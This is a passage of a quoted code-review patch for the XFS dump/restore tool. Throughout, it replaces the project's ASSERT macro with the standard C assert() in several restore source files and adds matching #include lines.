EXTENTHDR_TYPE_DATA ); > bytesread = 0; > rv = restore_extent( fhdrp, > &ehdr, > @@ -7971,7 +7972,7 @@ restore_symlink( drive_t *drivep, > > /* symlinks always have one extent > */ > - ASSERT( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); > + assert( ehdr.eh_type == EXTENTHDR_TYPE_DATA ); > > /* read the link path extent > */ > @@ -8006,7 +8007,7 @@ restore_symlink( drive_t *drivep, > } > return BOOL_FALSE; > } > - ASSERT( ( off64_t )nread == ehdr.eh_sz ); > + assert( ( off64_t )nread == ehdr.eh_sz ); > if ( ! scratch ) { > if ( path ) { > mlog( MLOG_VERBOSE | MLOG_WARNING, _( > @@ -8109,7 +8110,7 @@ read_filehdr( drive_t *drivep, filehdr_t *fhdrp, bool_t fhcs ) > default: > return RV_CORE; > } > - ASSERT( ( size_t )nread == sizeof( *fhdrp )); > + assert( ( size_t )nread == sizeof( *fhdrp )); > > mlog( MLOG_NITTY, > "read file hdr off %lld flags 0x%x ino %llu mode 0x%08x\n", > @@ -8168,7 +8169,7 @@ read_extenthdr( drive_t *drivep, extenthdr_t *ehdrp, bool_t ehcs ) > default: > return RV_CORE; > } > - ASSERT( ( size_t )nread == sizeof( *ehdrp )); > + assert( ( size_t )nread == sizeof( *ehdrp )); > > mlog( MLOG_NITTY, > "read extent hdr size %lld offset %lld type %d flags %08x\n", > @@ -8208,8 +8209,8 @@ read_dirent( drive_t *drivep, > direnthdr_t tmpdh; > char *namep; // beginning of name following the direnthdr_t > > - ASSERT( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); > - ASSERT( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); > + assert( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); > + assert( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); > > /* read the head of the dirent > */ > @@ -8236,7 +8237,7 @@ read_dirent( drive_t *drivep, > default: > return RV_CORE; > } > - ASSERT( ( size_t )nread == DIRENTHDR_SZ ); > + assert( ( size_t )nread == DIRENTHDR_SZ ); > > if ( grhdrp->gh_version >= GLOBAL_HDR_VERSION_3 ) { > xlate_direnthdr(&tmpdh, dhdrp, 1); > @@ -8279,15 +8280,15 @@ read_dirent( drive_t *drivep, > /* if null, return > */ > if ( dhdrp->dh_ino == 0 ) { > - ASSERT( ( size_t )dhdrp->dh_sz == sizeof( direnthdr_t )); > + assert( ( size_t )dhdrp->dh_sz == sizeof( direnthdr_t )); > return RV_OK; > } > > /* read the remainder of the dirent. > */ > - ASSERT( ( size_t )dhdrp->dh_sz <= direntbufsz ); > - ASSERT( ( size_t )dhdrp->dh_sz >= sizeof( direnthdr_t )); > - ASSERT( ! ( ( size_t )dhdrp->dh_sz & ( DIRENTHDR_ALIGN - 1 ))); > + assert( ( size_t )dhdrp->dh_sz <= direntbufsz ); > + assert( ( size_t )dhdrp->dh_sz >= sizeof( direnthdr_t )); > + assert( ! ( ( size_t )dhdrp->dh_sz & ( DIRENTHDR_ALIGN - 1 ))); > if ( ( size_t )dhdrp->dh_sz > sizeof( direnthdr_t )) { > size_t remsz = ( size_t )dhdrp->dh_sz - sizeof( direnthdr_t ); > nread = read_buf( namep, > @@ -8313,7 +8314,7 @@ read_dirent( drive_t *drivep, > default: > return RV_CORE; > } > - ASSERT( ( size_t ) nread == remsz ); > + assert( ( size_t ) nread == remsz ); > } > > return RV_OK; > @@ -8353,7 +8354,7 @@ read_extattrhdr( drive_t *drivep, extattrhdr_t *ahdrp, bool_t ahcs ) > default: > return RV_CORE; > } > - ASSERT( ( size_t )nread == sizeof( *ahdrp )); > + assert( ( size_t )nread == sizeof( *ahdrp )); > > mlog( MLOG_NITTY, > "read extattr hdr sz %u valoff %u flags 0x%x valsz %u cs 0x%x\n", > @@ -8408,7 +8409,7 @@ discard_padding( size_t sz, drive_t *drivep ) > &rval ); > switch( rval ) { > case 0: > - ASSERT( ( size_t )nread == sz ); > + assert( ( size_t )nread == sz ); > return RV_OK; > case DRIVE_ERROR_EOF: > case DRIVE_ERROR_EOD: > @@ -8444,11 +8445,11 @@ restore_extent( filehdr_t *fhdrp, > *bytesreadp = 0; > > if ( fd != -1 ) { > - ASSERT( path ); > + assert( path ); > /* seek to the beginning of the extent. > * must be on a basic fs blksz boundary. > */ > - ASSERT( ( off & ( off64_t )( BBSIZE - 1 )) == 0 ); > + assert( ( off & ( off64_t )( BBSIZE - 1 )) == 0 ); > new_off = lseek64( fd, off, SEEK_SET ); > if ( new_off < 0 ) { > mlog( MLOG_NORMAL | MLOG_WARNING, _( > @@ -8462,7 +8463,7 @@ restore_extent( filehdr_t *fhdrp, > fd = -1; > new_off = off; > } > - ASSERT( new_off == off ); > + assert( new_off == off ); > } > if ( (fd != -1) && (bstatp->bs_xflags & XFS_XFLAG_REALTIME) ) { > if ( (ioctl(fd, XFS_IOC_DIOINFO, &da) < 0) ) { > @@ -8530,14 +8531,14 @@ restore_extent( filehdr_t *fhdrp, > return rv; > } > if ( off >= bstatp->bs_size ) { > - ASSERT( off == bstatp->bs_size ); > + assert( off == bstatp->bs_size ); > ntowrite = 0; > } else if ((off64_t)sup_bufsz > bstatp->bs_size - off ) { > ntowrite = ( size_t )( bstatp->bs_size - off ); > } else { > ntowrite = sup_bufsz; > } > - ASSERT( ntowrite <= ( size_t )INTGENMAX ); > + assert( ntowrite <= ( size_t )INTGENMAX ); > if ( ntowrite > 0 ) { > *bytesreadp += ( off64_t )ntowrite; > if ( fd != -1 ) { > @@ -8562,7 +8563,7 @@ restore_extent( filehdr_t *fhdrp, > tmp_off += ( off64_t )rval ) { > int rttrunc = 0; > int trycnt = 0; > - ASSERT( remaining > + assert( remaining > <= > ( size_t )INTGENMAX ); > /* > @@ -8608,7 +8609,7 @@ restore_extent( filehdr_t *fhdrp, > nwritten = rval; > break; > } > - ASSERT( ( size_t )rval <= remaining ); > + assert( ( size_t )rval <= remaining ); > if ( rval < remaining ) { > mlog( MLOG_NORMAL | MLOG_WARNING, > _("attempt to " > @@ -8644,7 +8645,7 @@ restore_extent( filehdr_t *fhdrp, > off, > strerror( errno )); > } else { > - ASSERT( ( size_t )nwritten < ntowrite ); > + assert( ( size_t )nwritten < ntowrite ); > mlog( MLOG_NORMAL, _( > "attempt to write %u bytes to %s at " > "offset %lld failed: only %d bytes " > @@ -8657,7 +8658,7 @@ restore_extent( filehdr_t *fhdrp, > /* stop attempting to write, but complete reads > */ > fd = -1; > - ASSERT( ntowrite <= ( size_t )INTGENMAX ); > + assert( ntowrite <= ( size_t )INTGENMAX ); > nwritten = ( intgen_t )ntowrite; > } > sz -= ( off64_t )sup_bufsz; > @@ -8673,7 +8674,7 @@ static size_t extattrbufsz = 0; /* size of each extattr buffer */ > static bool_t > extattr_init( size_t drivecnt ) > { > - ASSERT( ! extattrbufp ); > + assert( ! extattrbufp ); > extattrbufsz = EXTATTRHDR_SZ /* dump hdr */ > + > NAME_MAX /* attribute name */ > @@ -8721,7 +8722,7 @@ restore_extattr( drive_t *drivep, > bstat_t *bstatp = &fhdrp->fh_stat; > bool_t isfilerestored = BOOL_FALSE; > > - ASSERT( extattrbufp ); > + assert( extattrbufp ); > > if ( ! isdirpr ) > isfilerestored = partial_check(bstatp->bs_ino, bstatp->bs_size); > @@ -8745,8 +8746,8 @@ restore_extattr( drive_t *drivep, > } > > recsz = ( size_t )ahdrp->ah_sz; > - ASSERT( recsz <= extattrbufsz ); > - ASSERT( recsz >= EXTATTRHDR_SZ ); > + assert( recsz <= extattrbufsz ); > + assert( recsz >= EXTATTRHDR_SZ ); > nread = read_buf( ( char * )&ahdrp[ 1 ], > recsz - EXTATTRHDR_SZ, > ( void * )drivep, > @@ -8769,7 +8770,7 @@ restore_extattr( drive_t *drivep, > default: > return RV_CORE; > } > - ASSERT( nread == ( intgen_t )( recsz - EXTATTRHDR_SZ )); > + assert( nread == ( intgen_t )( recsz - EXTATTRHDR_SZ )); > > if ( ! persp->a.restoreextattrpr && ! persp->a.restoredmpr ) { > continue; > @@ -8784,7 +8785,7 @@ restore_extattr( drive_t *drivep, > * extended attributes. > */ > if ( isdirpr ) { > - ASSERT( ! path ); > + assert( ! path ); > if ( dah != DAH_NULL ) { > dirattr_addextattr( dah, ahdrp ); > } > @@ -9297,7 +9298,7 @@ pi_show( char *introstring ) > strbuflen = sprintf( strbuf, > "persistent inventory media file tree%s", > introstring ); > - ASSERT( ( size_t )strbuflen < sizeof( strbuf )); > + assert( ( size_t )strbuflen < sizeof( strbuf )); > fold_init( fold, strbuf, ':' ); > mlog( MLOG_NORMAL | MLOG_BARE | MLOG_NOLOCK, > "\n%s\n\n", > @@ -9528,8 +9529,8 @@ display_dump_label( bool_t lockpr, > char media_string_uuid[UUID_STR_LEN + 1]; > char fs_string_uuid[UUID_STR_LEN + 1]; > > - ASSERT( scrhdrp->cih_level >= 0 ); > - ASSERT( scrhdrp->cih_level < 10 ); > + assert( scrhdrp->cih_level >= 0 ); > + assert( scrhdrp->cih_level < 10 ); > level_string[ 0 ] = ( char )( '0' + ( u_char_t )scrhdrp->cih_level ); > level_string[ 1 ] = 0; > > diff --git a/restore/dirattr.c b/restore/dirattr.c > index fcfa0c8..c829808 100644 > --- a/restore/dirattr.c > +++ b/restore/dirattr.c > @@ -36,6 +36,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -201,14 +202,14 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) > > /* sanity checks > */ > - ASSERT( sizeof( dirattr_pers_t ) <= DIRATTR_PERS_SZ ); > - ASSERT( ! dtp ); > - ASSERT( ! dpp ); > + assert( sizeof( dirattr_pers_t ) <= DIRATTR_PERS_SZ ); > + assert( ! dtp ); > + assert( ! dpp ); > > /* allocate and initialize context > */ > dtp = ( dirattr_tran_t * )calloc( 1, sizeof( dirattr_tran_t )); > - ASSERT( dtp ); > + assert( dtp ); > dtp->dt_cachedh = DAH_NULL; > dtp->dt_fd = -1; > dtp->dt_extattrfd = -1; > @@ -308,11 +309,11 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) > > /* mmap the persistent descriptor > */ > - ASSERT( ! ( DIRATTR_PERS_SZ % pgsz )); > + assert( ! ( DIRATTR_PERS_SZ % pgsz )); > dpp = ( dirattr_pers_t * )mmap_autogrow( DIRATTR_PERS_SZ, > dtp->dt_fd, > ( off_t )0 ); > - ASSERT( dpp ); > + assert( dpp ); > if ( dpp == ( dirattr_pers_t * )-1 ) { > mlog( MLOG_NORMAL | MLOG_ERROR, _( > "unable to map %s: %s\n"), > @@ -355,7 +356,7 @@ dirattr_cleanup( void ) > } > if ( dpp ) { > rval = munmap( ( void * )dpp, DIRATTR_PERS_SZ ); > - ASSERT( ! rval ); > + assert( ! rval ); > dpp = 0; > } > if ( dtp->dt_fd >= 0 ) { > @@ -392,8 +393,8 @@ dirattr_add( filehdr_t *fhdrp ) > > /* sanity checks > */ > - ASSERT( dtp ); > - ASSERT( dpp ); > + assert( dtp ); > + assert( dpp ); > > /* make sure file pointer is positioned to write at end of file > */ > @@ -406,7 +407,7 @@ dirattr_add( filehdr_t *fhdrp ) > strerror( errno )); > return DAH_NULL; > } > - ASSERT( dpp->dp_appendoff == newoff ); > + assert( dpp->dp_appendoff == newoff ); > dtp->dt_at_endpr = BOOL_TRUE; > } > > @@ -420,7 +421,7 @@ dirattr_add( filehdr_t *fhdrp ) > */ > oldoff = dpp->dp_appendoff; > dix = OFF2DIX( oldoff ); > - ASSERT( dix <= DIX_MAX ); > + assert( dix <= DIX_MAX ); > > /* populate a dirattr > */ > @@ -449,7 +450,7 @@ dirattr_add( filehdr_t *fhdrp ) > > /* update the next write offset > */ > - ASSERT( dpp->dp_appendoff <= OFF64MAX - ( off64_t )sizeof(dirattr_t) ); > + assert( dpp->dp_appendoff <= OFF64MAX - ( off64_t )sizeof(dirattr_t) ); > dpp->dp_appendoff += ( off64_t )sizeof(dirattr_t); > > #ifdef DIRATTRCHK > @@ -514,7 +515,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) > dtp->dt_extattrfdbadpr = BOOL_TRUE; > return; > } > - ASSERT( seekoff == off ); > + assert( seekoff == off ); > > oldoff = off; > > @@ -595,7 +596,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) > dtp->dt_extattrfdbadpr = BOOL_TRUE; > return; > } > - ASSERT( seekoff == oldoff ); > + assert( seekoff == oldoff ); > nwritten = write( dtp->dt_extattrfd, > ( void * )&off, > sizeof( off )); > @@ -672,7 +673,7 @@ dirattr_cb_extattr( dah_t dah, > dtp->dt_extattrfdbadpr = BOOL_TRUE; > return BOOL_TRUE; > } > - ASSERT( seekoff == off ); > + assert( seekoff == off ); > > /* peel off the next offset > */ > @@ -711,7 +712,7 @@ dirattr_cb_extattr( dah_t dah, > /* read the remainder of the extattr > */ > recsz = ( size_t )ahdrp->ah_sz; > - ASSERT( recsz >= EXTATTRHDR_SZ ); > + assert( recsz >= EXTATTRHDR_SZ ); > nread = read( dtp->dt_extattrfd, > ( void * )&ahdrp[ 1 ], > recsz - EXTATTRHDR_SZ ); > @@ -756,10 +757,10 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) > > /* sanity checks > */ > - ASSERT( dtp ); > - ASSERT( dpp ); > + assert( dtp ); > + assert( dpp ); > > - ASSERT( dah != DAH_NULL ); > + assert( dah != DAH_NULL ); > > #ifdef DIRATTRCHK > sum = HDLGETSUM( dah ); > @@ -768,18 +769,18 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) > dix = ( dix_t )dah; > #endif /* DIRATTRCHK */ > > - ASSERT( dix >= 0 ); > - ASSERT( dix <= DIX_MAX ); > + assert( dix >= 0 ); > + assert( dix <= DIX_MAX ); > > argoff = DIX2OFF( dix ); > - ASSERT( argoff >= 0 ); > - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > + assert( argoff >= 0 ); > + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > > #ifdef DIRATTRCHK > dirattr_get( dah ); > - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); > + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > + assert( dtp->dt_cached_dirattr.d_sum == sum ); > #endif /* DIRATTRCHK */ > > if ( dtp->dt_at_endpr && dtp->dt_off ) { > @@ -796,9 +797,9 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) > mlog( MLOG_NORMAL, _( > "lseek of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > - ASSERT( newoff == argoff ); > + assert( newoff == argoff ); > > /* populate a dirattr > */ > @@ -822,7 +823,7 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) > mlog( MLOG_NORMAL, _( > "update of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > > dtp->dt_at_endpr = BOOL_FALSE; > @@ -959,10 +960,10 @@ dirattr_get( dah_t dah ) > > /* sanity checks > */ > - ASSERT( dtp ); > - ASSERT( dpp ); > + assert( dtp ); > + assert( dpp ); > > - ASSERT( dah != DAH_NULL ); > + assert( dah != DAH_NULL ); > > /* if we are already holding this dirattr in cache, > * just return > @@ -977,13 +978,13 @@ dirattr_get( dah_t dah ) > #else /* DIRATTRCHK */ > dix = ( dix_t )dah; > #endif /* DIRATTRCHK */ > - ASSERT( dix >= 0 ); > - ASSERT( dix <= DIX_MAX ); > + assert( dix >= 0 ); > + assert( dix <= DIX_MAX ); > > argoff = DIX2OFF( dix ); > - ASSERT( argoff >= 0 ); > - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > + assert( argoff >= 0 ); > + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > > if ( dtp->dt_at_endpr && dtp->dt_off ) { > if (dirattr_flush() != RV_OK) { > @@ -999,9 +1000,9 @@ dirattr_get( dah_t dah ) > mlog( MLOG_NORMAL, _( > "lseek of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > - ASSERT( newoff == argoff ); > + assert( newoff == argoff ); > > /* read the dirattr > */ > @@ -1012,12 +1013,12 @@ dirattr_get( dah_t dah ) > mlog( MLOG_NORMAL, _( > "read of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > > #ifdef DIRATTRCHK > - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); > + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > + assert( dtp->dt_cached_dirattr.d_sum == sum ); > #endif /* DIRATTRCHK */ > > dtp->dt_at_endpr = BOOL_FALSE; > @@ -1038,13 +1039,13 @@ dirattr_cacheflush( void ) > > /* sanity checks > */ > - ASSERT( dtp ); > - ASSERT( dpp ); > + assert( dtp ); > + assert( dpp ); > > /* if nothing in the cache, ignore > */ > dah = dtp->dt_cachedh; > - ASSERT( dah != DAH_NULL ); > + assert( dah != DAH_NULL ); > if ( dah == DAH_NULL ) { > return; > } > @@ -1057,17 +1058,17 @@ dirattr_cacheflush( void ) > #endif /* DIRATTRCHK */ > > #ifdef DIRATTRCHK > - ASSERT( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > - ASSERT( dtp->dt_cached_dirattr.d_sum == sum ); > + assert( dtp->dt_cached_dirattr.d_unq == DIRATTRUNQ ); > + assert( dtp->dt_cached_dirattr.d_sum == sum ); > #endif /* DIRATTRCHK */ > > - ASSERT( dix >= 0 ); > - ASSERT( dix <= DIX_MAX ); > + assert( dix >= 0 ); > + assert( dix <= DIX_MAX ); > > argoff = DIX2OFF( dix ); > - ASSERT( argoff >= 0 ); > - ASSERT( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > - ASSERT( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > + assert( argoff >= 0 ); > + assert( argoff >= ( off64_t )DIRATTR_PERS_SZ ); > + assert( argoff <= dpp->dp_appendoff - ( off64_t )sizeof( dirattr_t )); > > /* seek to the dirattr > */ > @@ -1076,9 +1077,9 @@ dirattr_cacheflush( void ) > mlog( MLOG_NORMAL, _( > "lseek of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > - ASSERT( newoff == argoff ); > + assert( newoff == argoff ); > > /* write the dirattr > */ > @@ -1089,7 +1090,7 @@ dirattr_cacheflush( void ) > mlog( MLOG_NORMAL, _( > "flush of dirattr failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > } > > dtp->dt_at_endpr = BOOL_FALSE; > @@ -1104,7 +1105,7 @@ calcdixcum( dix_t dix ) > ix_t nibcnt; > ix_t nibix; > > - ASSERT( ( sizeof( dah_t ) / HDLSUMCNT ) * HDLSUMCNT == sizeof( dah_t )); > + assert( ( sizeof( dah_t ) / HDLSUMCNT ) * HDLSUMCNT == sizeof( dah_t )); > > nibcnt = ( sizeof( dah_t ) / HDLSUMCNT ) - 1; > sum = 0; > diff --git a/restore/inomap.c b/restore/inomap.c > index 562492e..2c62afc 100644 > --- a/restore/inomap.c > +++ b/restore/inomap.c > @@ -26,6 +26,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "util.h" > @@ -195,9 +196,9 @@ inomap_restore_pers( drive_t *drivep, > > /* sanity checks > */ > - ASSERT( INOPERSEG == ( sizeof( (( seg_t * )0 )->lobits ) * NBBY )); > - ASSERT( sizeof( hnk_t ) == HNKSZ ); > - ASSERT( sizeof( pers_t ) <= PERSSZ ); > + assert( INOPERSEG == ( sizeof( (( seg_t * )0 )->lobits ) * NBBY )); > + assert( sizeof( hnk_t ) == HNKSZ ); > + assert( sizeof( pers_t ) <= PERSSZ ); > > /* get inomap info from media hdr > */ > @@ -243,7 +244,7 @@ inomap_restore_pers( drive_t *drivep, > persp->last_ino_added = last_ino_added; > > tmphnkp = ( hnk_t * )calloc( ( size_t )hnkcnt, sizeof( hnk_t )); > - ASSERT( tmphnkp ); > + assert( tmphnkp ); > > /* read the map in from media > */ > @@ -268,7 +269,7 @@ inomap_restore_pers( drive_t *drivep, > PERSSZ > + > sizeof( hnk_t ) * ( size_t )hnkcnt ); > - ASSERT( ! rval1 ); > + assert( ! rval1 ); > ( void )close( fd ); > free( ( void * )perspath ); > > @@ -278,7 +279,7 @@ inomap_restore_pers( drive_t *drivep, > */ > switch( rval ) { > case 0: > - ASSERT( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); > + assert( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); > ok = inomap_sync_pers( hkdir ); > if ( ! ok ) { > return RV_ERROR; > @@ -325,7 +326,7 @@ inomap_discard( drive_t *drivep, content_inode_hdr_t *scrhdrp ) > */ > switch( rval ) { > case 0: > - ASSERT( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); > + assert( ( size_t )nread == sizeof( hnk_t ) * ( size_t )hnkcnt ); > return RV_OK; > case DRIVE_ERROR_EOD: > case DRIVE_ERROR_EOF: > @@ -350,7 +351,7 @@ inomap_sync_pers( char *hkdir ) > > /* sanity checks > */ > - ASSERT( sizeof( hnk_t ) == HNKSZ ); > + assert( sizeof( hnk_t ) == HNKSZ ); > > /* only needed once per session > */ > @@ -388,7 +389,7 @@ inomap_sync_pers( char *hkdir ) > > /* mmap the pers inomap > */ > - ASSERT( hnkcnt * sizeof( hnk_t ) <= ( size64_t )INT32MAX ); > + assert( hnkcnt * sizeof( hnk_t ) <= ( size64_t )INT32MAX ); > roothnkp = ( hnk_t * ) mmap_autogrow( > sizeof( hnk_t ) * ( size_t )hnkcnt, > pers_fd, > @@ -415,7 +416,7 @@ inomap_sync_pers( char *hkdir ) > /* calculate the tail pointers > */ > tailhnkp = hnkp; > - ASSERT( hnkcnt > 0 ); > + assert( hnkcnt > 0 ); > lastsegp = &tailhnkp->seg[ ( intgen_t )( segcnt > - > SEGPERHNK * ( hnkcnt - 1 ) > @@ -485,7 +486,7 @@ inomap_sanitize( void ) > void > inomap_rst_add( xfs_ino_t ino ) > { > - ASSERT( pers_fd >= 0 ); > + assert( pers_fd >= 0 ); > ( void )map_set( ino, MAP_NDR_CHANGE ); > } > > @@ -494,7 +495,7 @@ inomap_rst_add( xfs_ino_t ino ) > void > inomap_rst_del( xfs_ino_t ino ) > { > - ASSERT( pers_fd >= 0 ); > + assert( pers_fd >= 0 ); > ( void )map_set( ino, MAP_NDR_NOREST ); > } > > diff --git a/restore/namreg.c b/restore/namreg.c > index 41362d1..c64833d 100644 > --- a/restore/namreg.c > +++ b/restore/namreg.c > @@ -24,6 +24,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "lock.h" > @@ -118,15 +119,15 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) > > /* sanity checks > */ > - ASSERT( ! ntp ); > - ASSERT( ! npp ); > + assert( ! ntp ); > + assert( ! npp ); > > - ASSERT( sizeof( namreg_pers_t ) <= NAMREG_PERS_SZ ); > + assert( sizeof( namreg_pers_t ) <= NAMREG_PERS_SZ ); > > /* allocate and initialize context > */ > ntp = ( namreg_tran_t * )calloc( 1, sizeof( namreg_tran_t )); > - ASSERT( ntp ); > + assert( ntp ); > > /* generate a string containing the pathname of the namreg file > */ > @@ -223,7 +224,7 @@ namreg_init( char *hkdir, bool_t resume, u_int64_t inocnt ) > > /* mmap the persistent descriptor > */ > - ASSERT( ! ( NAMREG_PERS_SZ % pgsz )); > + assert( ! ( NAMREG_PERS_SZ % pgsz )); > npp = ( namreg_pers_t * ) mmap_autogrow( > NAMREG_PERS_SZ, > ntp->nt_fd, > @@ -258,9 +259,9 @@ namreg_add( char *name, size_t namelen ) > > /* sanity checks > */ > - ASSERT( ntp ); > - ASSERT( npp ); > - ASSERT( !ntp->nt_map ); > + assert( ntp ); > + assert( npp ); > + assert( !ntp->nt_map ); > > /* make sure file pointer is positioned to append > */ > @@ -271,10 +272,10 @@ namreg_add( char *name, size_t namelen ) > mlog( MLOG_NORMAL, _( > "lseek of namreg failed: %s\n"), > strerror( errno )); > - ASSERT( 0 ); > + assert( 0 ); > return NRH_NULL; > } > - ASSERT( npp->np_appendoff == newoff ); > + assert( npp->np_appendoff == newoff ); > ntp->nt_at_endpr = BOOL_TRUE; > } > > @@ -290,7 +291,7 @@ namreg_add( char *name, size_t namelen ) > > /* write a one byte unsigned string length into the buffer. > */ > - ASSERT( namelen < 256 ); > + assert( namelen < 256 ); > c = ( unsigned char )( namelen & 0xff ); > ntp->nt_buf[ntp->nt_off++] = c; > > @@ -300,7 +301,7 @@ namreg_add( char *name, size_t namelen ) > ntp->nt_off += namelen; > > npp->np_appendoff += ( off64_t )( 1 + namelen ); > - ASSERT( oldoff <= HDLMAX ); > + assert( oldoff <= HDLMAX ); > > #ifdef NAMREGCHK > > @@ -375,12 +376,12 @@ namreg_get( nrh_t nrh, > > /* sanity checks > */ > - ASSERT( ntp ); > - ASSERT( npp ); > + assert( ntp ); > + assert( npp ); > > /* make sure we aren't being given a NULL handle > */ > - ASSERT( nrh != NRH_NULL ); > + assert( nrh != NRH_NULL ); > > /* convert the handle into the offset > */ > @@ -397,9 +398,9 @@ namreg_get( nrh_t nrh, > > /* do sanity check on offset > */ > - ASSERT( newoff <= HDLMAX ); > - ASSERT( newoff < npp->np_appendoff ); > - ASSERT( newoff >= ( off64_t )NAMREG_PERS_SZ ); > + assert( newoff <= HDLMAX ); > + assert( newoff < npp->np_appendoff ); > + assert( newoff >= ( off64_t )NAMREG_PERS_SZ ); > > lock( ); > > @@ -461,7 +462,7 @@ namreg_get( nrh_t nrh, > > /* validate the checkbit > */ > - ASSERT( chkbit > + assert( chkbit > == > ( ( ( nrh_t )len + ( nrh_t )bufp[ 0 ] ) & CHKBITLOMASK )); > > diff --git a/restore/node.c b/restore/node.c > index 4cc8fb0..f0297a5 100644 > --- a/restore/node.c > +++ b/restore/node.c > @@ -23,6 +23,7 @@ > #include > #include > #include > +#include > > #include "types.h" > #include "mlog.h" > @@ -188,9 +189,9 @@ node_unmap_internal( nh_t nh, void **pp, bool_t freepr ) > register u_char_t nodeunq; > #endif /* NODECHK */ > > - ASSERT( pp ); > - ASSERT( *pp ); > - ASSERT( nh != NH_NULL ); > + assert( pp ); > + assert( *pp ); > + assert( nh != NH_NULL ); > > /* convert the handle into an index > */ > @@ -199,19 +200,19 @@ node_unmap_internal( nh_t nh, void **pp, bool_t freepr ) > nh = HDLGETNHDL( nh ); > #endif /* NODECHK */ > > - ASSERT( nh <= NH_MAX ); > + assert( nh <= NH_MAX ); > > #ifdef NODECHK > hkp = *( *( u_char_t ** )pp + node_hdrp->nh_nodehkix ); > nodegen = HKPGETGEN( hkp ); > - ASSERT( nodegen == hdlgen ); > + assert( nodegen == hdlgen ); > nodeunq = HKPGETUNQ( hkp ); > if ( ! freepr ) { > - ASSERT( nodeunq != NODEUNQFREE ); > - ASSERT( nodeunq == NODEUNQALCD ); > + assert( nodeunq != NODEUNQFREE ); > + assert( nodeunq == NODEUNQALCD ); > } else { > - ASSERT( nodeunq != NODEUNQALCD ); > - ASSERT( nodeunq == NODEUNQFREE ); > + assert( nodeunq != NODEUNQALCD ); > + assert( nodeunq == NODEUNQFREE ); > } > #endif /* NODECHK */ > > @@ -240,16 +241,16 @@ node_init( intgen_t fd, > > /* sanity checks > */ > - ASSERT( sizeof( node_hdr_t ) <= NODE_HDRSZ ); > - ASSERT( sizeof( nh_t ) < sizeof( off64_t )); > - ASSERT( sizeof( nh_t ) <= sizeof( segix_t )); > - ASSERT( sizeof( nh_t ) <= sizeof( relnix_t )); > - ASSERT( nodehkix < usrnodesz ); > - ASSERT( usrnodesz >= sizeof( char * ) + 1 ); > + assert( sizeof( node_hdr_t ) <= NODE_HDRSZ ); > + assert( sizeof( nh_t ) < sizeof( off64_t )); > + assert( sizeof( nh_t ) <= sizeof( segix_t )); > + assert( sizeof( nh_t ) <= sizeof( relnix_t )); > + assert( nodehkix < usrnodesz ); > + assert( usrnodesz >= sizeof( char * ) + 1 ); > /* so node is at least big enough to hold > * the free list linkage and the housekeeping byte > */ > - ASSERT( nodehkix > sizeof( char * )); > + assert( nodehkix > sizeof( char * )); > /* since beginning of each node is used to > * link it in the free list. > */ > @@ -283,7 +284,7 @@ node_init( intgen_t fd, > * reasonable cap on the max number of segments. > */ > > - ASSERT( NODESPERSEG_MIN >= pgsz ); > + assert( NODESPERSEG_MIN >= pgsz ); > > if ( vmsz < WINMAP_MIN * NODESPERSEG_MIN * nodesz ) { > mlog( MLOG_NORMAL | MLOG_ERROR, _( > @@ -331,10 +332,10 @@ node_init( intgen_t fd, > > /* map the abstraction header > */ > - ASSERT( ( NODE_HDRSZ & pgmask ) == 0 ); > - ASSERT( ! ( NODE_HDRSZ % pgsz )); > - ASSERT( off <= OFF64MAX ); > - ASSERT( ! ( off % ( off64_t )pgsz )); > + assert( ( NODE_HDRSZ & pgmask ) == 0 ); > + assert( ! ( NODE_HDRSZ % pgsz )); > + assert( off <= OFF64MAX ); > + assert( ! ( off % ( off64_t )pgsz )); > node_hdrp = ( node_hdr_t * )mmap_autogrow( > NODE_HDRSZ, > fd, > @@ -394,13 +395,13 @@ node_sync( 